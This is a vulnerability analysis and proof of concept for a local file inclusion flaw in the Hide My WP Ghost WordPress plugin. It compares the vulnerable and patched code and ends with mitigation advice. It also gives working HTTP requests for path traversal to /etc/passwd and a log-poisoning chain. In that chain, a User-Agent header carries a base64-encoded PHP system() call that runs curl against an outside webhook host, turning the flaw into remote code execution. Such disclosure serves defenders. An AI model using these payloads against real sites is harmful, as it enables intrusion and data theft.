Contents

CVE-2025-26909 Analysis & POC

The Hide My WP Ghost plugin version ≤ 5.4.01 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require, thereby injecting or reading local files on the server (for example configuration files containing credentials), leading to sensitive information disclosure and, in some configurations, possible code execution.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - Hide My WP Ghost: 5.3.02 (vulnerable) and 5.4.02 (patched).
  • Diff tool - Meld or any diff/comparison tool to check and compare differences between the two versions.

Vulnerable version:

public function getOriginalUrl( $url ) {

    // Build the rewrite rules if they are not already built
    if ( empty( $this->_rewrites ) ) {
        $this->buildRedirect();
    }

    // Parse the URL components
    $parse_url = wp_parse_url( $url );

    // Get the home root path
    $path = wp_parse_url( home_url(), PHP_URL_PATH );

    // Backslash the paths
    if ( $path <> '' ) {
        $parse_url['path'] = preg_replace( '/^' . preg_quote( $path, '/' ) . '/', '', $parse_url['path'] );
    }

    // Replace paths to original based on rewrite rules
    if ( isset( $this->_rewrites['from'] ) && isset( $this->_rewrites['to'] ) && ! empty( $this->_rewrites['from'] ) && ! empty( $this->_rewrites['to'] ) ) {
        $parse_url['path'] = preg_replace( $this->_rewrites['from'], $this->_rewrites['to'], $parse_url['path'], 1 );
    }

    // Default to https if the scheme is not set
    if ( ! isset( $parse_url['scheme'] ) ) {
        $parse_url['scheme'] = 'https';
    }

    // Reconstruct the URL
    if ( isset( $parse_url['port'] ) && $parse_url['port'] <> 80 ) {
        $new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . ':' . $parse_url['port'] . $path . $parse_url['path'];
    } else {
        $new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . $path . $parse_url['path'];
    }

    // Append query string if present
    if ( isset( $parse_url['query'] ) && ! empty( $parse_url['query'] ) ) {
        $query   = $parse_url['query'];
        $query   = str_replace( array( '?', '%3F' ), '&', $query );
        $new_url .= ( ! strpos( $new_url, '?' ) ? '?' : '&' ) . $query;
    }

    // Return the constructed URL
    return $new_url;
}

The getOriginalUrl() function is used to parse and reconstruct the original URL based on the system’s rewrite rules.

In the vulnerable version, the value of $new_url is not sanitized before being returned, allowing an attacker to inject malicious path components like ../../etc/passwd, leading to LFI risk.

Patched version:

public function getOriginalUrl( $url ) {

    // Build the rewrite rules if they are not already built
    if ( empty( $this->_rewrites ) ) {
        $this->buildRedirect();
    }

    // Parse the URL components
    $parse_url = wp_parse_url( $url );

    // Only if there is a path to change
    if( !isset( $parse_url['path'] ) ) {
        return $url;
    }

    // Get the home root path
    $path = wp_parse_url( home_url(), PHP_URL_PATH );

    // Backslash the paths
    if ( $path <> '' ) {
        $parse_url['path'] = preg_replace( '/^' . preg_quote( $path, '/' ) . '/', '', $parse_url['path'] );
    }

    // Replace paths to original based on rewrite rules
    if ( isset( $this->_rewrites['from'] ) && isset( $this->_rewrites['to'] ) && ! empty( $this->_rewrites['from'] ) && ! empty( $this->_rewrites['to'] ) ) {
        $parse_url['path'] = preg_replace( $this->_rewrites['from'], $this->_rewrites['to'], $parse_url['path'], 1 );
    }

    // Default to https if the scheme is not set
    if ( ! isset( $parse_url['scheme'] ) ) {
        $parse_url['scheme'] = 'https';
    }

    // Reconstruct the URL
    if ( isset( $parse_url['port'] ) && $parse_url['port'] <> 80 ) {
        $new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . ':' . $parse_url['port'] . $path . $parse_url['path'];
    } else {
        $new_url = $parse_url['scheme'] . '://' . $parse_url['host'] . $path . $parse_url['path'];
    }

    // Append query string if present
    if ( isset( $parse_url['query'] ) && ! empty( $parse_url['query'] ) ) {
        $query   = $parse_url['query'];
        $query   = str_replace( array( '?', '%3F' ), '&', $query );
        $new_url .= ( ! strpos( $new_url, '?' ) ? '?' : '&' ) . $query;
    }

    // Return the constructed URL
    return sanitize_url( $new_url );
}

The patch calls sanitize_url($new_url) before returning, which helps remove dangerous path components or schemes, preventing LFI.

getOriginalUrl() is called in showFile(), and its return value is assigned to $new_url

public function showFile( $url ) {
    // other logic
    $new_url          = $this->getOriginalUrl( $url );
    $new_url_no_query = ( ( strpos( $new_url, '?' ) !== false ) ? substr( $new_url, 0, strpos( $new_url, '?' ) ) : $new_url );
    $new_path         = $this->getOriginalPath( $new_url );
    $ctype            = false;

    if ( $ext = $this->isFile( $new_url ) ) {
        // other logic
    } elseif ( strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getOption( 'hmwp_login_url' ) . '/' ) || strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_login_url' ) . '/' ) ) {
        // other logic
    } elseif ( $url <> $new_url ) {
        if ( stripos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_wp-json' ) . '/' ) !== false ) {
            // other logic
        } elseif ( strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_activate_url' ) . '/' ) !== false || strpos( trailingslashit( $new_url_no_query ), '/' . HMWP_Classes_Tools::getDefault( 'hmwp_wp-signup_url' ) . '/' ) !== false ) {
            ob_start();
            include $new_path;
            $content = ob_get_clean();
            header( "HTTP/1.1 200 OK" );
            //Echo the html file content
            echo $content;
            exit();
        } elseif ( ! HMWP_Classes_Tools::getValue( 'nordt' ) ) {
            // other logic
        }
    }
}

include $new_path is the point that can cause LFI; for it to be reached, the surrounding conditions must be satisfied.

  1. $url is different from $new_url

In getOriginalUrl() the query handling is:

if ( isset( $parse_url['query'] ) && ! empty( $parse_url['query'] ) ) {
    $query   = $parse_url['query'];
    $query   = str_replace( array( '?', '%3F' ), '&', $query );
    $new_url .= ( ! strpos( $new_url, '?' ) ? '?' : '&' ) . $query;
}
  • wp_parse_url( 'http://localhost/x/abc?' ) -> has a path but query is empty (or query is unset / empty).
  • The condition isset(...) && ! empty(...) will fail for a bare ? without parameters, so nothing is appended to $new_url.
  • $new_url returns http://localhost/x/abc (no ?), while the original $url is http://localhost/x/abc?, so they differ and ($url <> $new_url) is true.
  1. $new_url_no_query must contain the string '/' . HMWP_Classes_Tools::getDefault('hmwp_activate_url') . '/'.

Searching the plugin source for hmwp_activate_url, we find the function HMWP_Classes_Tools::getDefault('hmwp_activate_url') returns wp-activate.php.

Return value of HMWP_Classes_Tools::getDefault( 'hmwp_activate_url' )

Return value of HMWP_Classes_Tools::getDefault( 'hmwp_activate_url' )

Therefore, the practical condition is that $new_url_no_query must contain /wp-activate.php/.

👉 Thus, for include $new_path to be executed, the URL must have a trailing ? (so $url <> $new_url) and contain /wp-activate.php/ in the path.

$new_path is the return value of getOriginalPath($new_url)

public function getOriginalPath( $new_url ) {
    // Remove domain from path
    $new_path = str_replace( home_url(), '', $new_url );

    // Remove queries from path
    if ( strpos( $new_path, '?' ) !== false ) {
        $new_path = substr( $new_path, 0, strpos( $new_path, '?' ) );
    }

    return HMWP_Classes_Tools::getRootPath() . ltrim( $new_path, '/' );
}

This function returns the root path without the query string, for example:

"http://localhost/x/wp-activate.php?" -> "/srv/www/wordpress/x/wp-activate.php"

So we have the necessary conditions for LFI to occur; we need to find the call flow to showFile()

public function maybeShowNotFound() {
    //If the file doesn't exist
    //show the file content
    if ( is_404() ) {
        $this->showFile( $this->getCurrentURL() );
    } else {
        $this->maybeShowLogin( $this->getCurrentURL() );
    }

}

showFile() is called by maybeShowNotFound when the client requests a non-existent resource, with the parameter being the result of getCurrentURL().

public function getCurrentURL() {
    $url = '';

    if ( isset( $_SERVER['HTTP_HOST'] ) ) {
        // build the URL in the address bar
        $url = is_ssl() ? 'https://' : 'http://';
        $url .= $_SERVER['HTTP_HOST'];
        $url .= rawurldecode( $_SERVER['REQUEST_URI'] );
    }

    return $url;
}

The URI from $_SERVER['REQUEST_URI'] is decoded and concatenated into $url to return.

We placed a debugger in showFile() and sent a request to a non-existent resource.

GET /x/wp-activate.php? HTTP/1.1
Host: localhost

The debugger hit showFile().

Debugger hit showFile()

Debugger hit showFile()

Send a request with the LFI payload

GET /x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/etc/passwd? HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: blue
Priority: u=0, i
Content-Length: 0

Debug:

Debugger with valid payload

Debugger with valid payload

Result:

Successful LFI result

Successful LFI result

Explanation:

/x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/etc/passwd? after decoding becomes /x/wp-activate.php/..///..///..///..///../etc/passwd?

We use this string to trick Apache so that Apache does not detect Document Root traversal. If we use /x/wp-activate.php/../../../../../etc/passwd? Apache will detect the Document Root traversal.

/// is still accepted as equivalent to /, for example:

w41bu1@22NS088:~$ ls /////////
bin  boot  cdrom  dev  etc  home  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  swap.img

Send a request with PHP code placed in the User-Agent header

GET / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu;<?php system(base64_decode('Y3VybCAtSSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYmFjN2UxNjMtYjQ3NS00MzIzLWEzMTUtYWNkMDEwMzU5NjQwJw==')); ?> Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: blue
Priority: u=0, i
Content-Length: 0

Send a request with the LFI payload pointing to /var/log/apache2/other_vhosts_access.log

GET /x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/var/log/apache2/other_vhosts_access.log? HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: blue
Priority: u=0, i
Content-Length: 0

Result:

Successful LFI => RCE result

Successful LFI => RCE result

Explanation:

<?php system(base64_decode('Y3VybCAtSSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYmFjN2UxNjMtYjQ3NS00MzIzLWEzMTUtYWNkMDEwMzU5NjQwJw==')); ?>

When visiting the site with a User‑Agent containing the payload above, Apache will log this payload into the access log:

w41bu1@22NS088:~$ cat /var/log/apache2/other_vhosts_access.log
127.0.1.1:80 127.0.0.1 - - [18/Oct/2025:19:10:08 +0700] "GET /x/wp-activate.php/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/%2f/%2e%2e/var/log/apache2/other_vhosts_access.log? HTTP/1.1" 403 2844 "-" "Mozilla/5.0 (X11; Ubuntu; <?php system(base64_decode('Y3VybCAtSSAnaHR0cHM6Ly93ZWJob29rLnNpdGUvYmFjN2UxNjMtYjQ3NS00MzIzLWEzMTUtYWNkMDEwMzU5NjQwJw==')); ?>Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0"

When include() loads a file, PHP will execute any PHP code (<?php ?>) contained in the file before returning. The payload is Base64-encoded and decoded at include time with base64_decode to avoid escaping issues with quotes ("\") when the logger writes it. The decoded command becomes:

curl -I 'https://webhook.site/bac7e163-b475-4323-a315-acd010359640'

Finally, system() runs this command and returns its output.

Warning

Note: although base64_decode may be blocked by the plugin, Apache logged the payload before the plugin processed it; the Base64 string was still recorded in the log.

Hide My WP Ghost version ≤ 5.4.01 allows LFI because the plugin reconstructs a path and then include()s it without canonicalization/whitelisting. By combining log‑poisoning and a payload containing /wp-activate.php/?, an attacker can escalate LFI to RCE in some configurations. The issue is fixed in 5.4.02 by sanitizing the URL before returning.

  • Do not directly include data from requests.
  • Use realpath() / basename() / whitelist / base_dir checks before including.
  • sanitize_text_field() is not sufficient to prevent traversal.
  • Log poisoning (User‑Agent, Referer…) can create an inclusionable payload source — do not log raw content that might later be included.
  • Fixes must combine: sanitize + canonicalize + directory restriction + control over log write permissions.

File Inclusion/Path traversal — Hacktrick

WordPress Hide My WP Ghost Plugin <= 5.4.01 is vulnerable to Local File Inclusion

Related Content